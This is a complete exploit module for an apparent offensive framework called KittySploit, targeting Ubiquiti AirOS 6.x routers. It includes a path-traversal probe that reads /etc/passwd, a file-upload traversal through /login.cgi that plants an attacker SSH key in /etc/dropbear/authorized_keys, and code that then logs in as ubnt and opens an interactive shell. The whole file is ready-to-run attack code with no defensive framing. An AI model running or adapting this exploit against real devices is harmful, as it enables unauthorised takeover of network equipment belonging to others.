Ubiquiti AirOS 6.x - SSH Key Upload

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ubiquiti AirOS 6.x arbitrary file upload to authorized_keys."""

from __future__ import annotations

import io
import tempfile

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler

try:
    import paramiko
except ImportError:
    paramiko = None


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Ubiquiti AirOS 6.x - SSH Key Upload",
        "description": (
            "Path traversal file upload via /login.cgi places an attacker SSH public key "
            "into /etc/dropbear/authorized_keys, enabling login as ubnt."
        ),
        "author": ["93c08539", "Vinicius Henrique Marangoni", "KittySploit Team"],
        "platform": Platform.LINUX,
        "payload": {"default": "nopayload"},
        "references": [
            "https://hackerone.com/reports/73480",
            "https://www.exploit-db.com/exploits/39701/",
        ],
        "tags": ["ubiquiti", "airos", "router", "file-upload", "ssh", "iot"],
    }

    ssh_port = OptPort(22, "SSH port after key upload", required=False)
    ssl = OptBool(True, "Use HTTPS for web interface", required=False)

    def check(self):
        marker = self.random_text(12)
        path = f"/images/..%2f..%2f..%2fetc%2fpasswd%3b{marker}"
        response = self.http_request(method="GET", path=path, allow_redirects=False)
        if response and marker in (response.text or ""):
            return {"vulnerable": True, "reason": "Path traversal confirmed", "confidence": "high"}
        response = self.http_request(method="GET", path="/login.cgi", allow_redirects=False)
        if response and response.status_code == 200:
            return {"vulnerable": True, "reason": "AirOS login.cgi reachable", "confidence": "low"}
        return {"vulnerable": False, "reason": "Target does not appear to be AirOS 6.x", "confidence": "medium"}

    def run(self):
        if paramiko is None:
            print_error("paramiko required: pip install paramiko")
            return False
        result = self.check()
        if isinstance(result, dict) and not result.get("vulnerable"):
            self.not_vulnerable()
            return False

        key = paramiko.RSAKey.generate(2048)
        public_key = key.get_base64()
        private_buf = io.StringIO()
        key.write_private_key(private_buf)
        private_pem = private_buf.getvalue()

        tmp = tempfile.TemporaryFile()
        tmp.write(f"ssh-rsa {public_key}\n".encode())
        tmp.seek(0)

        print_status("Uploading SSH public key via /login.cgi path traversal ...")
        response = self.http_request(
            method="POST",
            path="/login.cgi",
            files={"file": ("../../etc/dropbear/authorized_keys", tmp, "application/octet-stream")},
            allow_redirects=False,
        )
        if not response:
            print_error("Upload failed")
            return False

        host = str(self.target)
        port = int(self.ssh_port or 22)
        print_status(f"Connecting via SSH to {host}:{port} as ubnt ...")
        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        pkey = paramiko.RSAKey.from_private_key(io.StringIO(private_pem))
        try:
            client.connect(host, port, username="ubnt", pkey=pkey, timeout=int(self.timeout or 15))
        except Exception as exc:
            print_error(f"SSH login failed: {exc}")
            return False

        print_success("SSH session established")
        channel = client.invoke_shell()
        try:
            while True:
                if channel.recv_ready():
                    print(channel.recv(4096).decode(errors="replace"), end="")
                if channel.send_ready():
                    import sys
                    line = sys.stdin.readline()
                    if not line:
                        break
                    channel.send(line)
        except KeyboardInterrupt:
            pass
        finally:
            client.close()
        return True